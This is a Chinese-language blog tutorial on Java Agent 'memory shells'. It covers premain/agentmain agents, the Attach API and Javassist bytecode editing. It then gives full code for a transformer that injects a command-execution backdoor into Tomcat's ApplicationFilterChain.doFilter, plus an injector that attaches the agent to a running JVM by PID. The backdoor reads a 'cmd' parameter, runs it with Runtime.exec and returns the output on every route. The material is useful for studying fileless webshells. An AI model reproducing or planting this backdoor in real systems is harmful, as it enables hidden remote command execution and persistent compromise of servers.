在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法
一般情况下,我们要修改java文件的内容就必须重新编译,而java agent技术可以在字节码层面上修改类,方法等,也有点像代码注入的方式。而本文要说的Agent内存马就利用动态修改字节码来将特定类的特定方法添加恶意代码。
java agent也只是一个java类,只不过它和普通java类不一样,它是以 premain 和 agentmain 方法作为入口,而不是main 方法。
- 实现
premain
方法,在JVM启动前加载。- 实现
agentmain
方法,在JVM启动后加载。
接下来就从这两个方面认识java agent
那么首先就是要创建一个java agent类了,
package com.AgentForward;import java.lang.instrument.Instrumentation;
public class Agent {
public static void premain(String agentArgs, Instrumentation inst){
System.out.println("===premain 方法被执行====");
Class[] allLoadedClass = inst.getAllLoadedClasses();
for (Class allLoadClass : allLoadedClass) {
System.out.println(allLoadClass.getName());
}
System.out.println("===premain 方法被执行====");
inst.addTransformer(new DefineTransformer(),true);
}
}
premain 方法有两个参数,agentArgs 就是普通的字符串参数,第二个参数是 Instrumentation 的一个对象,方法内的代码就是遍历并输出当前 JVM 中已加载的所有类的名称。
java.lang.instrument.Instrumentation
是 Java 标准库中的一个接口,它允许开发者在运行时进行类加载和字节码转换等操作。这个接口通常在 Java Agent 中使用,用于在应用程序运行期间修改或监视类的行为。Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果
它是一个接口,定义了一些方法
// 增加一个 Class 文件的转换器
void addTransformer(ClassFileTransformer transformer);
// 删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);
// 在类加载之后,重新定义 Class。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
// 判断目标类是否能够修改。
boolean isModifiableClass(Class<?> theClass);
......
主要来说一下addTransformer方法,添加一个类转换器,那么什么是转换器?继承了ClassFileTransformer的类,它的实现类必须要重写 transform 方法,每当类加载的时候,我们自己定义的Transformer 的 transform 就会自动拦截,在这个方法里我们可以对其拦截下来的字节码动态修改。
自己定义一个类转换器
package com.AgentForward;import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;public class DefineTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println("transform被执行");
return new byte[0];
}
}
为了方便演示直接在方法里写个输出。
代码写完后还需要编写这个文件,类似于配置文件这种
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: com.AgentForward.Agent
第一行指定了文件的版本,Can-Redefine-Classes 这个属性指定了 Java Agent 是否允许重新定义类
Can-Retransform-Classes 这个属性指定了 Java Agent 是否允许重新转换类,这两个属性一定要配置,不然会出错
Premain-Class 这个属性指定了 Java Agent 的预加载类了,注意最后要添加一个换行。
最后把这个项目编译成jar文件,具体怎么编译自行百度。
重新创建一个java项目用作测试,修改配置,在VM选项中添加配置
-javaagent:out\production\java-agent.jar
注意路径一定要写对
启动springboot
在启动之前会先执行premain方法,然后打印输出启动前加载的类,太多了
类加载的时候也会被transform方法拦截
在现实场景中注入内存马肯定不会在程序启动前加载,而是在运行过程中修改字节码。
这里就需要用到 agentmain 入口方法,编写一个Agent
package com.AgentBackwards;import java.lang.instrument.Instrumentation;
public class Agent {
public static void agentmain(String agentArgs, Instrumentation inst){
System.out.println("agent 方法被调用");
inst.addTransformer(new DefineTransformer());
}
}
也是输出一条日志,在 Java JDK6 以后实现启动后加载 Instrument 的是 Attach api。存在于 com.sun.tools.attach 里面有两个重要的类。其中一个就是 VirtualMachine 类
它是 Java Attach API 的核心部分之一,用于在运行时连接和管理 Java 虚拟机(JVM)进程。Attach API 允许外部工具(如 Java Agent)与正在运行的 JVM 进程进行交互,进行类加载、字节码转换、性能分析等操作。
注意:Windows系统中,安装的jdk中无法找到这个类,所以需要手动将你jdk安装目录下:lib目录中的tools.jar添加进当前工程的Libraries中
这个类里面定义了几种方法,例如LoadAgent,Attach 和 Detach。
Attach 方法:接收一个运行中的JVM的进程号,远程连接到JVM上,例如
VirtualMachine vm = VirtualMachine.attach(v.id());
LoadAgent 方法:允许向正在运行的JVM中注册一个Agent,进行类加载和字节码操作,这个方法接收Java Agent的位置路径。
vm.loadAgent("Agent的路径");
Detach 方法:从运行的JVM上解除一个Agent
仍然是编写manifest.mf文件,道理都是一样的,编译成一个Agent的jar
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: com.AgentBackwards.Agent
启动springboot项目,命令行输入命令:
可以看到JVM启动的进程号,注意启动的时候要将配置里面的VM选项删掉
当然springboot启动的时候没有任何日志输出
编写一个java类来远程连接JVM
package com.test;import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;import java.io.IOException;
public class AgentCommand {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
VirtualMachine target = VirtualMachine.attach("172432");
target.loadAgent("D:\\javaweb\\java安全\\java-agentShell\\javaAgentTest\\out\\production\\java-agent.jar");
target.detach();
}
}
运行代码,将编译好的Agent注入到正在运行的JVM中
日志打印出来了,说明运行过程中执行了agentmain 入口方法,当然我们重写的 transform 方法也会被执行,这里可以作为实现Agent内存马注入的地方。
通过上文对Java agent的了解,我们需要将特定类的特定方法中添加恶意代码,那么寻找这个关键的类就是我们面临的第一个问题。
在我们访问资源的时候会调用过滤器链中的过滤器,当用户的请求到达Servlet之前,一定会首先经过过滤器。它们都是在ApplicationFilterChain类里,它的dofilter方法
封装了我们用户请求的 request 和 response,用此方法作为内存马的入口,可以完全控制请求和响应
动态修改字节码肯定需要了解java的字节码编程。Javassist 提供了一个简单而强大的 API,使开发者能够直接在 Java 代码中进行字节码操作。使用 Javassist,你可以创建新的类、修改已有类的字段和方法、添加新的方法、修改方法体内的代码等,这里只简单说说对方法的修改。
它是 Javassist 库中的一个核心类,它用于管理和操作类的字节码。简单来说,ClassPool就是一个容器,用于存放CtClass 对象的容器,通过代码获取
ClassPool cp = ClassPool.getDefault();
在Javassist中每个需要编辑的class都对应一个CtCLass实例,CtCLass就是编译时的类,这些类会存储在Class Pool中,CtClass中的CtField和CtMethod分别对应Java中的字段和方法。通过CtClass对象即可对类新增字段和修改方法等操作
举一个修改方法的小例子就能体会到,给方法内部添加代码通常会使用 setBody 方法,然而添加代码之外还有向前插入和向后插入,方法分别为insertBefore和insertAfter
由于我们是需要修改已有方法的代码,为了不破坏程序原本的功能,不再使用setBody 方法,采用insertBefore 方法做一个简单的例子
编写一个测试类
package com.javassist;public class Demo {
public void test(){
System.out.println("this is test");
}
}
然后用 javassist 字节码编程在此方法添加一句输出试试
package com.javassist;import javassist.*;
import java.io.IOException;public class javassistTest {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
//创建一个Class池,也就是容器
ClassPool classPool = ClassPool.getDefault();
//获取测试类
CtClass ctClass = classPool.getCtClass("com.javassist.Demo");
//获取测试类中的目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("test");
//利用insertBefore方法在测试类方法里添加一行新的输出
ctMethod.insertBefore("System.out.println(\"修改成功啦\");");
//写入
ctClass.writeFile();
//加载该类的字节码(必不可少)
ctClass.toClass();
//测试
Demo demo = new Demo();
demo.test();
}
}
注释写的很清楚,不再解释,运行看结果
修改字节码成功。
我们需要修改 ApplicationFilterChain 的 doFilter方法,编写Agent主类,引用木头师傅的代码
遍历加载的Class,然后对目标Class进行重定义
import java.lang.instrument.Instrumentation;public class AgentMain {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";public static void agentmain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new DefineTransformer(),true);
// 获取所有已加载的类
Class[] classes = ins.getAllLoadedClasses();
for (Class clas:classes){
if (clas.getName().equals(ClassName)){
try{
// 对类进行重新定义
ins.retransformClasses(new Class[]{clas});
} catch (Exception e){
e.printStackTrace();
}
}
}
}
}
然后编写 DefineTransformer.java
对拦截到的类进行if判断,如果类名是 ApplicationFilterChain 就获取doFilter方法,对其内容进行修改,利用 insertBefore 方法,将恶意代码插入到前面
首先分析一下有回显的恶意代码
获取到request和response两个对象,接收cmd参数,使用exec方法命令执行,getInputStream() 方法用于获取命令的标准输出流,然后利用 BufferedReader 类将输出流转换为字符流,最后将数据写入响应里,返回给客户端。
完整代码:
package com.Attack;import javassist.*;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;public class DefineTransformer implements ClassFileTransformer {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace("/",".");
if(className.equals(ClassName)){
ClassPool classPool = ClassPool.getDefault();
try {
CtClass ctClass = classPool.getCtClass(className);
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
try {
ctMethod.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" +
"javax.servlet.http.HttpServletResponse res = response;\n" +
"java.lang.String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null){\n" +
" try {\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" String line;\n" +
" StringBuilder sb = new StringBuilder(\"\");\n" +
" while ((line=reader.readLine()) != null){\n" +
" sb.append(line).append(\"\\n\");\n" +
" }\n" +
" response.getOutputStream().print(sb.toString());\n" +
" response.getOutputStream().flush();\n" +
" response.getOutputStream().close();\n" +
" } catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
"}");
try {
byte[] bytes = ctClass.toBytecode();
ctClass.detach();
return bytes;
} catch (IOException e) {
e.printStackTrace();
}
} catch (CannotCompileException e) {
e.printStackTrace();
}
} catch (NotFoundException e) {
e.printStackTrace();
}}
return new byte[0];
}
}
最后编译成jar包
利用上文说的启动后加载的方式将Agent马注入到正在运行的JVM中,获取运行中JVM 的pid
编写代码
public class AgentCommand {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
VirtualMachine target = VirtualMachine.attach("98736");
target.loadAgent("D:\\javaweb\\java安全\\java-agentShell\\javaAgentTest\\out\\production\\java-agent.jar");
target.detach();
}
}
运行代码
任何路由下都是有回显的命令执行
不过这里有一个小坑,我们是要将agent的jar包加载到正在运行的springboot中,transform方法利用 javassist 字节码编程修改 doFilter 方法,如果springboot没有导入javassist 的maven项目是无法修改成功的,这里当时困扰了我很久,所以在运行前需要导入 javassist 的包才行。
本片文章主要认识了什么是java agent以及agent内存马的构造思路,至于如何注入内存马,上几篇文章都是通过编写JSP,上传JSP文件来注入内存马,实际上,JSP文件也相当于一个Servlet,在tomcat中也会编译成class文件,并不算真正意义上的无文件木马,所以通常情况下是通过反序列化来注入内存马
后续我会继续分析反序列化注入内存马的思路与细节
参考链接:
https://www.cnblogs.com/nice0e3/p/14086165.html#0x00-%E5%89%8D%E8%A8%80